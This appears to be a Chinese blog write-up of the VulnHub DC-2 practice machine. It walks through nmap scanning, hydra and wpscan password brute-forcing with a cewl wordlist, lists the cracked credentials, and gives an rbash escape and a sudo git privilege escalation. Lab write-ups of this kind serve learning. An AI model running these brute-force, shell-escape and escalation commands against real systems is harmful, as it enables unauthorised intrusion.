vulnhub之DC2

最新推荐文章于 2024-02-01 17:33:34 发布

天下是个小趴菜

最新推荐文章于 2024-02-01 17:33:34 发布

阅读量283

点赞数

CC 4.0 BY-SA版权

分类专栏：靶练习文章标签： ssh linux 运维

本文链接：https://blog.youkuaiyun.com/qq_54030686/article/details/125072640

靶练习专栏收录该内容

13 篇文章

订阅专栏

本文详细介绍了渗透测试的过程，包括使用nmap进行主机发现和端口扫描，通过hydra进行SSH和HTTP爆破，利用whatweb和wpscan进行指纹识别和漏洞检测。在发现WordPress网站后，枚举用户名并尝试提权。通过绕过rbash限制，切换用户并最终利用git命令实现root权限提升。整个过程展示了渗透测试中的常见技术和策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

简述：各位兄弟可移步至https://blog.youkuaiyun.com/shuteer_xu/article/details/116141639，直接看这位师傅的即可，本人只当成一个笔记
老三样，主机发现，端口扫描，指纹识别
主机发现

nmap -sS 192.168.43.0/24

在这里插入图片描述

全端口扫描

nmap -A -p- 192.168.43.130

在这里插入图片描述

共发现 7744为ssh端口处于开放状态，使用hydra进行爆破，使用
hydra -L /opt/user.txt -P /opt/mima.txt ssh://192.168.43.130:7744该命令进行爆破尝试，未发现相应结果
在这里插入图片描述

80为Apache端口，nmap显示会重定向到http://dc-2中,修改/etc/hosts文件,添加192.168.43.130 dc-2

指纹识别，使用whatweb进行指纹识别，发现为wordpress，使用wpscan进行检测，扫描并未发现相应漏洞可以进行利用，尝试进行枚举用户名，
在这里插入图片描述

使用浏览器访问即可，发现有flag页面，显示需要使用cewl获取密码字典,使用cewl dc-2 >pass.txt 该命令获取密码字典

共发现三个用户名：admin,jerry,tom，将三个用户名存储为user.txt,使用我wpscan爆破账号所对应的密码

wpscan --url http://dc-2/ -U user.txt -P pass.txt

共发现

 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

对应的用户名和密码
在这里插入图片描述

尝试连接ssh jerry未成功登陆，tom成功登陆，显示该用户所能够执行的命令

echo  $PATH

echo /home/tom/usr/bin/*

在这里插入图片描述

发现tom用户仅仅能够使用less,scp,ls,vi四个命令，此文件夹下存在flag3.txt文件，提示我们需要su到jerry用户中，
但是输入su jerry缺显示命令未找到，看大佬的博客，存在rbash，相当于权限控制，使得用户无法执行某些命令，需要进行绕过rbash

采用大佬提供的命令

tom@DC‐2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC‐2:~$ export PATH=$PATH:/bin/
tom@DC‐2:~$ export PATH=$PATH:/usr/bin

在这里插入图片描述

即可绕过rbash进行切换用户的操作，切换到jerry用户下，接下来需要提权操作
sudo -l 查看当前用户所能够使用的root命令
在这里插入图片描述

显示存在一个git可以使用sudo执行
查找git提权命令，师傅的博客中提供的链接里面有两种git提权方法，我使用的是第一种，成功提权，第二种，估计是能力不够，实现不了提权的操作
以下为师傅的博客地址，
https://blog.youkuaiyun.com/shuteer_xu/article/details/116141639